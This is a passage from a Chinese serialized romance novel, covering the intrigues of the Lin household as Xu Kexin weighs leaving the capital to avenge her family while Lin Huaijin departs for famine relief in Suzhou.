思及此,林远山扯着嘴,露出一副笑模样,向书房走去。 他也知晓,自己光皮动,底下的肉不动,笑得极为难看,可所有人都骂他是病秧子,咒他死,他自然要笑,不论笑得难看与否,反正气到他们就行。 他们希望他死,他偏要吊着一口气,临死前也要拉个垫背的。 书房内。 男人手持毛笔,随意看着手中的文书,姿态算不得端正。 分明京中官员都见过他这副散漫的模样,可书写公文时,却无人敢松懈半分,均处处留意着,仔细斟酌。 过去倒是有个不开眼的,前来传话,见林大人面色随意,以为他未仔细阅览,之后一次陈列罪臣名单时,收了好处,隐去一个小官的姓名。 本以为可以蒙混过关,可没过一日,他就被革职查办,隐去姓名的那个官员,之后也未逃脱牢狱之苦。 他们只是明面做事的,暗处还有人做事。 有时未被追责,不过是大人无意追究,不代表他不知晓。一众官员间接被提了醒,之后办事时,也愈发谨慎,生怕步那名官员的后尘。 林远山抬步走入书房,虚虚行了个礼,笑着走到一旁坐下。 不像他为官时,时常被人弹劾,他的好大哥立威于朝廷,受文武百官敬重,若说他大哥是悬在天上的白鹤,他就是趴在地上的老鼠,不仅不受人供奉,哪怕未做任何事,只从街边路过,也会被人拿棍棒驱赶。 林远山端着茶杯,见男人不理会他,好似未看见他一般,只习以为常,自顾自道,“大哥,你意图娶徐长小姐为妻,可问过她是否愿意嫁给你?” “俗话说,郎有情妾有意,才算得上两情相悦,但人心隔肚皮,徐姨娘可否亲口告知你,愿意嫁给你?” 他说了一大串话,却未得到半句回应,甚至未得到一个眼神。 见男人仍不理会他,林远山扯着嘴,露出一个笑,起身走上前,只站在桌 案前,有意说道,“大哥,若我未记错的话,徐长小姐过去同昭明有过婚约,二人青梅竹马,形影不离,令人好生艳羡。” “若非徐家被抄家,两人如今是不是早就结为夫妻了?如此说来,反倒怪梁王太过着急,非要除掉徐大人,不然再等几日,徐长小姐便可嫁给昭明为妻。” “可眼下,她却只能委身于长兄身下,论辈分,她可唤你一声叔父,论年纪,她足足比长兄小了一轮。” 说到此处,林远山话语一顿,双臂撑在桌案上,笑问,“长兄,你说她是真得愿意嫁给你,还是畏惧你的权势,不得不从。” “毕竟她沦落教坊司,身子早就不干净,京中哪个高官还愿娶她?而她如今有幸能攀得长兄这根高枝,自然要死死攥着长兄不愿松手。” 话音刚落,本在处理公务的男人,终于抬眸看了过来,眼底无波无澜,好似在看死人一般。 四目对视,林远山霎时笑道,“长兄,我提及此事,并非要拆散你们二人,而是为长兄考虑。” “毕竟如今怀瑾和昭明也对徐小姐一往情深,非她不可。眼下你们二人还未成婚,说不定他们之中,谁生了旁的心思,临成婚前,带徐小姐私奔。” “要我说,长兄还是提防一二为好。” “徐小姐在乎青姝,长兄只把青姝留在身侧,倒时哪怕徐小姐真同人私奔,顾及青姝也会回府。” 林远山撑着桌案,迎着男人审视的目光,强稳心神,嬉皮笑脸缓声讲着。 男人无声看着他,过了良久,才收回目光。 见对方既未赶他走,也未出言驳斥他的话,林远山霎时松了口气。 谁走都可以,但青姝必须留下。 隔天,方一入夜,钱管家便前去听雨阁,将青姝连同乳母一同带走,徐可心下意识阻拦,钱管家只无奈道,“姨娘,这是大人的命令。” “大人那日分明说,让我亲自照顾青姝,如今为何又要将青姝带走?”徐可心面色紧绷,追问不停。 钱管家面色为难,“姨娘,大人未打算将长小姐交给旁人,而是带到身边亲自照看。” 此话一出,徐可心没了声音,只能眼睁睁看着钱管家将青姝抱走。 他是青姝的父亲,想要亲自照看青姝,这自然是好事一桩,于情于理,她都没有阻拦的道理,何况这正是她过去所期盼的。 可坏就坏在,她之后会离京,若青姝被男人带走,她又如何带青姝离开。 整整一日,徐可心坐立难安,还未等入夜,就忍不住前去书房。 守在门外的侍卫远远瞧见她,还未等她走近,就进门为她传话。 徐可心站在门前,踌躇半晌,终于抬步走了进去。 她本准备了一番说辞,想要带走青姝,可等她入门时,看清屋中情景,霎时停了脚步。 却见男人在寒秋,单穿了一件外衣,衣襟半敞,露出半边结实有力的胸膛,素来执笔的手,此时握着一个与他极不相称的拨浪鼓,轻轻摇晃。 青姝坐在男人腿上,不仅未哭,反而伸着手,扯着他的手臂,面色依赖。 她一直认为男人难以照顾青姝,可不知何时开始,青姝好似真得知晓她的父亲是谁。 徐可心紧抿着唇,良久站在原地,甚至忘记行礼。 她正愣神时,男人抬眸看了过来,四目对视,男人自然地放下手中的拨浪鼓,淡声道,“过来。” 徐可心身子僵硬,闻言只挣扎一瞬,就听话上前,走到男人身侧。 林远舟背靠座椅,只将青姝放在桌案上,一只手臂搭在扶手上,另外一只手轻拍了一下青姝方才坐的那只腿上,一句话未说,但令她做何事不言而喻。 徐可心迟疑片刻,看了眼坐在一旁的青姝,想起方才女儿坐在男人的这条腿上,难言的羞耻漫上心间,让她难以再同过去那般,亲昵地坐上去。 她迟迟未有动作,男人抬眼,眼底没有什么情绪,只攥着她垂在身侧的手,淡声问,“可是同为夫生了嫌隙?” 男人的长指搭在她的手腕上,不紧不慢缓慢摩挲,她的腿也随着男人暗示的动作,不争气地微微抖动。 她碍于心上窘迫,本不想听男人的话,可只被男人轻轻摩挲手腕,她的身体就不受控地想要上前。 第128章 徐可心踌躇良久,终究抵不过男人的目光,上前一步,坐在男人怀里,揽住他的脖颈。 男人的手搭在她的腰上,在她坐下时,覆在她的后背上,将她整个人揽在怀里。 抱她的姿势与方才抱青姝的姿势别无一二。 想起男人过去强迫她唤父亲,徐可心面色微红,难言的窘迫霎时弥漫心头。 她低下头,想环住男人的脖颈,抬眸时,却见青姝坐在桌案上,一直看着她,徐可心抬起的手停在半空,托住小孩的身子,将人抱在怀里。 青姝微微张唇,嘴里呀呀地说着什么,趴在她怀里的瞬间,用力攥住她的衣服,将脸完全埋在她的颈窝里,不断轻蹭。 “娘……” 徐可心低头,看着埋在怀里的女婴,只觉整颗心完全化成一滩水,下意识揽住她的后背,缓慢轻拍。 “娘在。” 她抱着青姝,轻哄不停,无意识地斜着身子,靠在身侧男人怀里,等枕在男人滚烫的胸膛上时,她才倏地回神,想起她如今正被男人抱在怀里。 安抚的手一顿,徐可心抬眸,看向男人的面容,却见对方也垂着眉眼,看着她怀中的青姝,眸色温柔。 她的夫君抱着她,而她抱着青姝。 她一直想要的,好似就是此刻,只要她不执着往事,停在此刻,她就能摸到幸福。 徐可心盯着男人的侧颜,有一瞬间的晃神。 她到底还有什么不知足的,非要离开此人,分明用了很多心思去爱他,也得到了他的爱,最后却要从他身边离开。 枕在他怀里,边贪恋他的喜欢,边筹划之后的离开…… 临到头来,没想到两人之间,怯弱的人依旧是她。 她低下头,枕在男人怀里,面上不自觉透着几分失落,来时准备的话也如同石头一般,不上不下地堵在心头,压得她的胸口愈发沉闷。 四肢忽得没来由地僵硬,好似彻底失了感知,麻木地垂落。 她只有为徐家报仇,才能了却心中的执念,重新活着,相应地,杀了林远山之后,她就彻底失去奔赴新生的路,也难以留在男人身边,只能离开。 过去点点滴滴的爱意,如今汇在一起,却成了她不得不离开的理由。 可从大人身边离开之后,她根本不知晓,今后是否还会像喜欢他一样,喜欢上旁人,好似会再次困在这两年男人为她编织的如同美梦般的笼子里,永远难以忘记。 这个笼子比过去困住她的每一个笼子都要坚固,而她甚至不想要离开,甘心受困其中。 男人给了她体面,给了她一个女儿,给了她过去想要的一切。 而她却像个卑怯的窃贼,从男人这里骗走所有,最后却还不知足,想要报仇,杀了他在乎的亲人,从他身边离开…… “可心在想何事?” 她正困于心结,难以摆脱时,一个很轻的吻落在她的发间,怜爱疼惜,声音也是一贯的平和,令人不自觉感到安心。 徐可心回神,眸色复杂地看着身侧的男人,犹豫良久后,轻声道,“大人公务繁忙,青姝留在书房,兴许会打扰大人清净,还是由妾身照顾青姝罢。” 男人揽着她的腰,闻言只拿起桌案上的公文,“若可心难以放心,便同入府时那般,时常前来书房,有可心和青姝陪在身侧,为夫也不至于太过无趣。” “只一拿起公文,便想放下,前去见你和青姝。” 男人面色平静,语气没有 起伏地说完这一番话,态度格外正经,但话语莫名透着几分无赖的意味。 这人说话做事时,分明格外随意,但偏偏他眸色冷淡,无半分轻佻之色,让旁人很容易忽视他不算端雅的言行。 比如眼下,明明是深秋,他却只穿了一件外衣在书房,若非身子格外滚烫,单看他那张淡漠到好似脱离世俗的脸,还以为他是哪个竹林隐士,行事风流。 眼下男人只顶着这张不近人情的脸,将她抱在怀里,又随口说出哄人的话。 徐可心听在耳边,只觉心跳得也愈发快,看男人的目光也不自觉怔愣几分。 若是她放下执念,她就可以一直拥有这人的好,若她放不下,离京之后,她想必也再难爱上其他人。 徐可心垂下眉眼,只觉心不断被撕扯,好似快要被分成两半。 “大人,你为何要对妾身如此好?” 她本在心中喃喃自语,但不自觉讲了出来,等她反应过来时,却见男人半阖眉眼,看着手中的公文,好似未听见她的话一般。 她心上松了口气,方低下头,却听男人淡声道,“可心对为夫情深,为夫并非无情之人,自然也知晓可心的好。” “既两情相悦,唯有疼爱怜惜,为夫才能回馈可心的好。” “何况可心为夫君怀下一女,十月怀胎,受尽苦楚,为夫也无不疼爱可心的理由。” 男人声音温和轻缓,只不紧不慢从头顶传来,徐可心怔愣地看着面前之人,未等听完,就忍不住埋首在男人怀里,不愿再听下去。 她怕自己彻底离不开这人,在报仇之后,又无耻地留在男人身边,祈求他同眼下这般喜欢她。 若她真得这般做,她想必这辈子都不会心安。 一口气堵在心口,来时准备好的说辞,也彻底被她埋在肚子里,别说讲出来,光是想着,就觉得愧对男人的喜欢。 想到之后,父女二人可能永远不会相见,徐可心只垂下头,哄骗自己,既然大人喜欢青姝,便让青姝留在男人身侧,临行前再将青姝带走,如此也好了却他们之间的父女情分。 之后几日,她听从男人的话,留在书房陪在他身侧,偶尔男人眉眼透出疲倦,她就走上前,为男人按揉头顶,任由男人靠在她怀中小憩。 青姝坐在男人腿上,也伸手扯着她的衣摆,学着她父亲的姿态,像模像样地趴在她怀里,眨巴嘴,一会儿唤着娘,一会儿唤着爹爹。 同父亲二字相比,显然爹爹更容易唤出口,小孩只被她父亲教了一次,就彻底记住了。 青姝早就过了百日,她一开始,还未想过如何同男人提起,不办宴席,男人反倒先提起此事,说待他们成婚后,再补办宴席,到时青姝便是嫡小姐。 徐可心闻言心上复杂万分,只应了男人的话。 入了深秋,地方官员就要返京,缺了的位置,总要有人顶替。 一众京官上朝时垂着脑袋,都怕陛下点到他们的名字,同他们一副胆战心惊的样子相反,礼部侍郎林怀瑾主动上前,请求调职苏州,前去治理饥荒。 今年初秋时,江浙一带干旱,生了蝗灾,遍地缺粮,流民四起,正盼着朝廷运粮过去。 虽说听起来是份美差,只需押送粮食过去,但眼下入了深秋,深秋过后就是寒冬,谁也说不准,会不会受冻病死在路上。 一众官员当起了哑巴,谁都不想应下这份差事,眼下礼部侍郎站出来,众人松了一口气的同时,看他的目光也不自觉透着几分不解。 他是首辅长子,又位居高位,想要晋职,有的是政绩等他,何苦偏要跑到外地任职,还揽下这份苦差事。 少帝摩挲着腰间的玉佩,等了片刻,见林大人迟迟未语,他也未再拖延,只笑着看向站在大殿之前的男人,准了他的话。 林长公子行事周密,又懂得斡旋,不会受地方官员压制,定会妥善处理,他主动前去,自然再好不过。 下朝时,未等林怀瑾走出大殿,就被人拦住。 “你因何要离京?”林昭明站在他面前,冷声质问。 林怀瑾停下脚步,也未在意他的无礼,“身为臣子,为百姓做事本就是官员的本分,为兄离京与否,又同昭明有何关系?” 林昭明闻言,眉头微拧,他倒不在意林怀瑾是否离京,哪怕林怀瑾病死在外地,他也不会在意。 他只是对“离京”二字太过敏感,不自觉想起府中那人,害怕他们二人有所谋划。 见林怀瑾眸色坦荡,好似真同他所说的那般,意图为百姓做事,林昭明半信半疑地退了一步,让出了路。 林怀瑾看了他一眼,复又看向不远处男人的背影,抬步跟上前。 林府书房。 林怀瑾身着官服,站在原地,同坐在不远处的男人微微行礼。 男人手持公文,眼也不抬,好似未看见他一般,反倒是坐在桌案上的青姝,眨着一双杏眸好奇地看着他。 林怀瑾安抚地看了她一眼,目光却未在她身上久留,而是看向一旁的男人。 他终究抵不住内心的煎熬,想要在临行前,求得一个解释,亦或一份愧疚。 母亲从未有愧,二叔不以为意,而昭明也漠不关心,他如今唯一的希冀,也只有面前之人。 他唤了近二十载的父亲。 明知男人性情冷漠,最不可能给他解释,但他还是心存侥幸,抱着最后一丝希望前来。 只等最后的一丝希望被浇灭,他就彻底对这个家死心了…… 第129章 “怀瑾有一事不解,想求父亲解惑。” 他躬着身子,直白道,“怀瑾想问,为何我同昭明是父亲的嫡长子,父亲长久以来,却对我们二人不闻不问。” 他深呼一口气,郑重问,“父亲,怀瑾和昭明的生父究竟是何人?” 林怀瑾心里已然有了答案,但仍想知道他这些年到底如何看待母亲,又如何看待他们。 是把他们兄弟二人当成通奸之人生下的孽子,还是无关紧要的小辈…… 男人执笔,本在文书上落笔,闻言面色不变,复又写了几笔,才随手扔下手中狼毫,抬眼看了过来。 面色一贯的冷淡,他从未在此人面上看到过旁的情绪,所谓的喜欢以及纵容,更是罕见至极。 他对文武百官,乃至林家人,均是这副不近人情的模样,好似未把任何人放在心上,也没有人值得他放在心上。 “怀瑾于朝中任职时,同僚如何引荐你?”男人背靠座椅,未回答他的话,而是反问道。 林怀瑾身子一顿,拱手回答,“他们说怀瑾是首辅大人长子,林家长公子林怀瑾。” “如此便是答案。”男人淡声道。 轻飘飘的一句话落地,林怀瑾只怔愣一瞬,就骤然抬头,看向坐在不远处的男人,却见其眸色平和,罕见地不再冷漠。 “无论你们二人的生父是何人,旁人认为,你同昭明是我林远舟的儿子,这就足够了。” 林远舟说完,抬手扶上额头,半阖眼皮,眉眼稍显疲倦道,“退下罢。” 同林怀瑾之前所料想的一样,果然父亲早就知晓此事,而对方的话也间接告诉他,虽非亲生父子,但的确把他们二人当亲生儿子看待。 母亲不愿坦白此事,是不想失了林夫人的体面,林昭明不在意此事,是他早就厌烦这个家。 父亲被背叛,分明是最应痛恨这个家的人,却把他们兄弟二人视为他的儿子。 林怀瑾抬眸,终究难以压下心中对母亲与二叔的恨,“父亲,你不恨母亲和二叔吗?” “你二叔是为父的堂弟,自小病弱,需时常服用汤药吊着性命,你祖母离世前,要为父为你二叔铺路,令他一生顺遂无虞,若怀瑾是为父,又会如何做?” “母命难违,怀瑾饱 读诗书,想必亦知晓此话。” 男人眼也不抬,只随意讲出这番话,语气平和至极,好似在讲旁人身上的事情。 林怀瑾站在原地沉默不语,良久后才俯身拱手,“父亲,怀瑾不日就要离京,此去一别,不知何时返京,入秋凉寒,还望父亲珍重。” 他说完,未再说旁的,推门离了书房。 分明来时满腹思绪,心上被怨恨占据,可从书院离开后,他却彻底松了口气,这些天浮在他心上的阴云,也逐渐消散。 他撞破母亲和二叔的奸情时,以为天塌了,但他如今才真得意识到,只要父亲站在那里,天就塌不了。 待他离开后,书房内余下父女二人,男人正按揉额头时,坐在桌案上的女婴向他爬了过来,抱着他的脸,迎着他淡漠的目光,低下头,吻上他的额头,唤了一声爹爹。 温热的唇贴在额头上,竟真抚平了他眉眼的疲惫。 小孩未足半岁,甚至不能完整地说一句话,她的一切言行,都是从她身边人那里学来的。 她娘亲在意她父亲的思绪,会在父亲面露疲惫时,上前安抚她父亲,她也有样学样,亲她爹爹的额头,想要她父亲开心些许。 “好青姝。” 林远舟托着小孩的身子,将人抱在怀里,面前却不自觉浮现女人的面庞,临近午时,女人此时快要用午膳。 “青姝可想念娘亲?” 听到娘亲二字,小孩霎时抬头,用力攥紧他垂在肩侧的长发,直直看着他,忙不迭唤了一声娘,好似生怕唤得晚了,就见不到她娘亲似的。 林远舟抚了一下她的脸颊,低头轻吻小孩的额头,让青姝坐在他的手臂上,抱着她前去听雨阁。 他前半生虽未受过几分亲情,不知晓被偏爱的滋味,但他如今已寻得一个事事以他为先的娘子,也不想再追究过去的事不放。 所谓功名利禄,待他死后,也无非尘土一捧,旁人唤他林大人,而在他娘子面前,也只是她的夫君。 徐可心手执针线,正细细密密地为青姝缝制衣裳,门外脚步声响起,她抬眸看去,却见男人抱着女儿走了进来。 她霎时起身,迎上前,接过男人怀中的青姝,“大人方下朝,不应在书房处理公务?” 男人缓步上前,将人揽在怀里,“可心话里的意思,是要赶为夫走?” 徐可心面色一怔,反应过来男人的话,下意识嗔怪道,“大人曲解妾身了。” 林远舟看着怀中女人埋怨的目光,也未再有意调笑她,只心安理得地俯身,吻上女人的唇。 徐可心站在原地,见男人靠近,虽不解,但也未退步,任由男人吻了上来,轻轻附和他。 男人吻得格外温柔缱绻,揽着她的腰,复又吻上她的面颊,眼皮,眉心……好似怎么亲近都难以言尽心中的喜欢一样,亲吻不停。 男人平常私下里,也时常抱着她,同她亲近,但不知为何,徐可心感觉今日大人格外依赖她。 她忍不住轻声问,“大人,可是最近朝中生了什么事端?”公务压身,才不自觉想要从她讨得些许慰藉。 林远舟抱着她,闻言只吻上她的耳侧,漫不经心道,“风平浪静,只是一日不见如隔三秋,太过思念娘子。” 听到娘子二字,徐可心面色不自觉微红,怔愣地看着面前之人,男人还是第一次这般唤她。 同可心二字想比,分明也是极为亲昵的称呼,但不知为何,娘子二字更令她喜欢。 他们是情人时,男人站在她面前,为她遮风挡雨,男人唤她可心时,更像是唤一个需要照顾怜惜的小辈。 而娘子二字就不同了,好似男人从心底认可她,告诉她,也需要她,也难以离开她,而她好似也能为男人做些什么,而非只躲在他的羽翼之下。 徐可心紧抿着唇,心跳得厉害,看着男人温和的侧颜,忍不住偏头,轻轻吻上男人的侧脸,也小声唤了一声相公。 男人从进门时开始,言行就格外随意,算不得正经,只听了她的话,搭在她腰间的手就骤然加重力气,托着她的后颈,不可抗拒地衔住她的唇,侵犯她的每一处呼吸。 徐可心被男人抱在怀里,动弹不得,看着面前男人的容颜,也被迷了心智,忍不住回吻他。 两人吻得愈发深,直到身前被轻轻拍打,一声声娘从怀中传来时,徐可心才倏地回神,连忙推开身前俨然动了情欲的男人。 她仓促低头,却见青姝趴在她怀里,头发变得凌乱些许,粉白的脸上还印着一个红印,那形状同她衣服上的刺绣花瓣完全一致。 小孩趴在她怀里,仰头可怜地看着她。 难言的心虚霎时蔓延在心头,徐可心忙不迭抚上小孩的脸,用帕子轻轻抚着她脸颊上浅淡的红印,“乖青姝,是娘亲不好。” 方才两人吻得深,未留意小孩被挤在他们二人之间。 罪魁祸首站在一旁,对上她嗔怪的目光,只不怎么走心地说,“足有半日未见娘子,为夫方才所举,实属情难自禁。” 他方才吻得那般用力,知道的是半日,不知道的还以为两人数年未见一般。 徐可心方要埋怨他,话停在嘴边,却未说出来。 不知何时开始,两人早就离不开彼此。 只是半日没见,就这般思念,往后难以再见,男人又是否会想念她,还是彻底将她忘记…… 思及此,徐可心也没了声音。 她沉默片刻,上前一步,主动靠在男人怀里,“妾身也思念大人,既无公务在身,妾身想求大人留在此处用膳。” 她想离开前,好好陪在男人身侧,尽了他们最后的缘分。 临近秋末,再过不久就是男人的寿辰。 林府这几日格外热闹,下人扯着大红灯笼,挂在屋檐之下。 同前院相比,临竹轩倒是格外安静,长公子不日就要离京,院中下人都忙着装点他的行囊,而正院更是死寂,夫人得了和离书,却不愿离府,仍赖在正院。 夫人不想离开,大人也未命人赶她走,正院一众下人盯着府上的动静,见状只偷偷寻到钱管家,想要调到别处做事。 听雨阁。 “姨娘不是意图同怀瑾离京,为何仍未收拾行囊?” 徐可心正坐在房中缝补时,林远山笑着推门走进。 他也不想来,只是沈玉清催得紧,眼见林怀瑾都要离开了,这人还未有走的意图,他不得不上门询问一二。 若这人想要反悔,真得要嫁给长兄,他也好做谋划。 徐可心看着面前男人笑吟吟的模样,面色不变,心上却泛起了恶心。 “不知二叔从何处听来,妾身想要离京?” 话音一落,林远山眼底的笑意霎时褪去几分,半眯眼睛,直勾勾盯着她。 “姨娘话里的意思,就是不想走了?” 第130章 “二叔,妾身不知晓你话里的意思。” 徐可心放下手中缝到一半的衣裳,站起身,捡起桌案上的茶壶,缓缓倒了一杯茶。 “二叔不请自来,妾身有失远迎,单有凉茶一杯。” “若二叔不嫌弃,只坐下品茶。” 她未端起茶杯,而是将茶杯放在桌案上,手背抵着杯壁,将茶水推到男人面前。 杯中茶水微微摇晃,泡发的茶叶沉在杯底,接连被热水冲过几次,茶香愈发寡淡,早就没了先前的浓郁。 不过强弩之末罢了。 女人明摆着送客,可他林远山是何人,事未办成,目的未达到,他又岂会因主人面露不喜就离开。 “姨娘受大哥宠爱,院里的东西自然也是极好的。” “饶是反复被冲泡,味色愈发寡淡,可瘦死的骆驼比马大,这茶再差也差不到哪里去,并非那些陈年茶渣子可以相比的。” 他再不济也是大哥的亲堂弟,手足情深血浓于水,更何况他自小受娘疼爱,无论他大哥多不在意他,出于入孝出悌的礼节,亦或爱屋及乌的情 意,他大哥也必须照顾他。 林远山缓步上前,毫无约束地坐了下来,端起茶杯,将杯中茶水一饮而尽。 “甘醇爽口,苦尽甘来。” 林远山举起茶杯,笑着看她,“好茶。” 徐可心站在原地,无声看着面前之人,忽得明白为何早年这人在朝中位居高位,左右逢源。 旁人受礼数桎梏,这人却是个不择手段的主。 难缠。 林府是林大人的一言堂,谁被林大人放在心上,谁就能在府中立足。如今府上摆明了能横行无忌的主,也只有他们二人。 手心手背都是肉,谁也不比谁位卑。 “姨娘,我今日前来,并非想要同你打太极,眼下四下无人,你也不必同往日那般小心谨慎,只同长兄那般,唤远山二弟即可,我们打开天窗说亮话。” “远山并非古板迂腐之人,不仅不会言语苛求姨娘,反而知晓姨娘的难处,比旁人更体谅姨娘。” 林远山倚着桌案,眼底含笑,好似再友善不过,若非知晓他的为人,兴许真得会被他这副笑模样骗了过去。 徐可心眸中警惕不减,饶是男人说了一大堆好话,她也只轻声道,“二叔,妾身愚钝,仍不明白二叔话里的意思。” 她和林远舟商议离京,只等到了苏州,脱离男人的势力范围,再等林远山前去,到时不等林远山到达苏州,就命人在半路伏击,杀了他报仇雪恨。 将离开之事告知于他,也不过是想以身入局,赌林远山在知晓她的去处后,是否会追上来,将她除之后快。 毕竟他行事狠绝,素来斩草除根,知晓她有报仇的念头,不会坐以待毙,留下后患。 此计算不得周全,她的确有赌的念头。 但离京尚可徐而图之,除他性命,留在京中,有大人庇护他,却绝无报仇的可能。 她只能出此下策。 她想要带青姝一起离开,也讨好男人,将青姝要了回来,可她未想到的是,这人不知为何,竟又想将青姝留在身边,亲自照看。 若她带青姝离开,男人不过半日就会发觉,她已离府…… 眼下林远山上门质问她,她只能装糊涂。 见她同她父亲一样油盐不进,林远山面上的耐心也逐渐被消磨殆尽,眼中笑意彻底褪去。 她留在京城,有大哥庇护徐可心,他根本难以下手,只有徐可心离京,才能派人除掉她,而不留下把柄。 “徐小姐,我也不同你周旋了,只一句话,你究竟如何才会离京?若有难言之隐,大可说出来,兴许远山可以为徐小姐解忧。” 徐可心坐在原地,闻言冷眼看着他。 两人无声对视,分明心上都对彼此恨之入骨,意图除掉彼此,面上却都装糊涂,谁都未提起当年之事。 林远山自然也知晓,私奔只是一个由头,但无论事出何因,只要女人离京就好。 他自己便同亲嫂嫂通奸,又怎会在意她是否和长子私奔。 林远山忍着心上的烦躁,复又等了良久,他正思索到底选择威逼还是利诱时,女人眸色平静,直言道,“青姝。” “若二叔能劝大人将青姝交由我照顾,我到时自会离京,不会留在此地,挡了夫人的路。” 话音一落,男人忽得沉默,过了良久,才轻笑道,“没想到怀瑾还真得对徐小姐情深意切,甚至不顾他母亲的颜面,将此事告知于你。” “不知道徐小姐可知晓红颜薄命的道理?” “徐小姐以秘辛作筹码,要挟他人,不怕被人除之后快吗?远山见识短浅,未曾听过有善终的妖妃亦或名妓。” 名妓二字被林远山咬得很重,明摆了羞辱她。 他林远山自小备受宠爱,不重礼教,受人羞辱时可以面不改色,而她徐可心大起大落,早就听惯冷嘲热讽,如今也不会因他的几句嘲弄就自乱阵脚。 “二叔,我也有一句话告知你。” “我只要青姝。” 她面色不改,话语却极为坚定。 林远山眯起眼睛,搭在桌案上的手紧攥茶杯。 话不投机,男人甚至未告辞,就转身离开,连一句狠话也未留下。 望着男人远去的背影,徐可心半阖眉眼。 她倒知晓林远山为何上门,但她的确不明白,为何这人不答应帮她要回青姝。这人巧言令色,惯会左右人心,没道理不答应此事。 那边,林远山只刚从听雨阁出来,就面色阴沉,路上的下人们瞧见他,忙不迭低下头,纷纷躲着他走,生怕不小心招惹他。 这人笑着时,尚且算计人,眼下面色难看,更是不知道在心里盘算什么。 林远山站在原地,眼见一众下人避着他走,好似他是什么洪水猛兽,难言的戾气在心间生起,冲上喉咙。 血腥气在口中蔓延,他不受控俯身,接连咳嗽数下,他捂着嘴,缓缓抬手,脏血覆在他的掌心之中,顺着指缝缓缓垂落。 女人想要青姝,可他也想要青姝。 青姝只有一个,难以两全。 既然她非要带走青姝,那她也不必离京了,只将性命留在此处,也好早日下黄泉寻她父母双亲。 到时他们一家人在地下团聚,也算成全她的夙愿。 林远山攥着帕子,随手擦掉唇边的血痕,强稳着身子离开。 愈到深秋,愈寒凉。 分明天色寒苦,林府却是越发热闹,秋末就是大人的寿辰。 等过了年,待春来雪化,大人的婚事以及长小姐的百日宴接连筹办,喜事相连,到时他们一众下人也能沾徐姨娘的光,多得些油水。 府中上下,无不盼望快些过年。 林府门外。 几架马车停在府外,下人们抱着行囊,不断将东西搬上马车。 “秋末就是你父亲的寿辰,不再等几日吗?” “朝廷有命,何况灾民也在等朝廷的赈灾粮,晚走一日,百姓就会挨饿一日,眼下就要入冬,本就苦寒,无粮食傍身,难以度过寒冬,怀瑾只能先行离开。” 林怀瑾身着官服,看着面前眉眼担忧的女人,温声解释。 他也不想走,想带女人一起离京,但知晓她还有未尽之事,他也只能先走一步。 “怀瑾已命人留在府中接应姨娘,无论姨娘何时想走,他们都会将姨娘安然无恙送至姑苏。” 林怀瑾本想说将她送至自己身侧,但怕她不喜,又转说了姑苏。 女人同他离开,本就是为了利用他,借用他的权力,而非真得和他私奔。 他也只能压着心思,任由女人差遣。 他是林家长公子,可今日离京,家中却无人前来送他,父亲忙于政务,母亲知晓他意图和徐可心私奔,不愿见他,而昭明不知去了何处。 如今前来送他的人也只有徐可心。 林怀瑾少时不明白,为何每每见到女人前来寻二弟时,总是忍不住在远处窥探她,甚至见她独自一人坐在那里时,还忍不住上前,同她讲话。 当时她坐在石阶上,刚下过雨,石阶还残留雨水,女人的衣裙也被污水浸泡。 他当时上前,想要提醒女人站起身,可话出口时,对上女人不解的目光,才发觉两人并不亲近。 思及此,话语也不自觉变得生硬,令她不要坐在石阶上,有失礼节,女人听了他的话,霎时站起身,小声告罪,随后匆忙走远。 他总想接近这人,可说出的话,也总是不够讨喜,接连几次后,未等他上前,女人只远远看见他,就忙不迭走远。 他不知晓如何说情话,意图示好的言行,也生硬至极,将女人越推越远。 还未等他学会如何同她交谈,讨她欢心时,就得到她与昭明订婚的消息。 他少时还未说出口的情话,也彻底堵在了喉咙里,难以再讲出去。 当时不明白的言行,如今想来,不过是他早就喜欢上这人。 “姨娘,怀瑾到了那里后,会早日赈灾救荒,留下一片太平之地,只等姨娘前来。” 徐 可心站在原地,未听懂他话里的深意,闻言只微微点头,轻声说了一句“公子保重。” 声音平和,却无半分情愫在里面。 无论他怎么探寻,女人眼底也未有半分不舍。 临上马车前,林怀瑾终究停下脚步,复又向她走近,俯下身,语气很轻,逐字逐句珍重道,“姨娘,怀瑾是想说,怀瑾舍不得你,想早日见到姨娘。” “怀瑾想知晓,姨娘是否也舍不得怀瑾?” 过去未来得及说出口的话,这次他却不想再停在口中。 毕竟他根本不知晓,此去一别,女人是否真得会离京,离京后,又是否真得前去苏州寻他,而非前往别处。 这又是否是他们的最后一面。 女人本来眸色平和,闻言面色肉眼可见地一怔,微微蹙眉,他的心弦也不自觉随着女人的面色而逐渐紧绷。 直直盯着她,等她的回答。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 130-140 第131章 这人问她的话愈发没规矩。 徐可心看了他一眼,否认的话在口中打转,还未等说出来,冷厉的声音就在身后响起,先一步道,“你赶赴外地任官,并非死在那里,她为何舍不得你?” 徐可心方要转身,颀长的身影就从身后覆压过来,将她整个人笼罩在身下。 林昭明冷眼看她,扯着她的手臂,将她拽到自己身侧,好似护食的狼一般,眸色不善地看向林怀瑾。 本想临走前和女人好好告别,未想过这个碍眼的家伙也来了。 林怀瑾看着面前姿态亲近的两人,难言的嫉妒在心间缓慢攀升,若他与林昭明并非亲兄弟,当初也不会在知晓两人订婚后,顾及礼节,主动从女人身边离开,而是在认清心意后,将人抢过来。 哪里还轮得到他这个不争气的二弟。 只可惜他们二人是亲兄弟,而当初他也未早些认清自己对女人的喜欢。 事已至此,也无回转的余地。 他只能祈求女人信任他,在离京后,真得会前去寻他。 忽视一旁二弟审视的目光,林怀瑾看向站在一旁面色平淡到近乎冷漠的女人,“姨娘,怀瑾先走一步,若还能再见面,怀瑾愿为姨娘做任何事。” 话语轻缓,未掩饰他心上的情愫。 徐可心闻言,还未想好告别的话,就被林昭明拽到身后。 男人站在她面前,宽阔的后背将她完完全全挡在后面,“说走就快些离开,没人挽留你。” 林昭明面色愈发不耐,来时本想着兄弟一场,不计前嫌送他一送,没想到刚到府外,就瞧见两人亲亲我我站在那里,郎情妾意的,不知道还以为小媳妇送相公去做官。 几次告别被打扰,林怀瑾的脸色也冷了几分,“为兄离京后,难以照顾姨娘,昭明身处京中,应时常前去探望姨娘,莫要让她受人欺辱。” 林昭明面色难看,“林怀瑾,你是她什么人?还用你交代我如何照顾她?你自己先盘算路上的事,别冻死在路上。” 知道他能保护好女人,林怀瑾未理会他的冷嘲热讽,越过他,看向站在他身后的人,得了女人的一个目光后,他才微微点头,上了马车。 “姨娘,保重。” 林怀瑾掀开幕帘,看向她道。 “公子也保重。” 还未等徐可心说完,一只手就蒙在她面前,挡住她的视线,“再不离开天就黑了。” 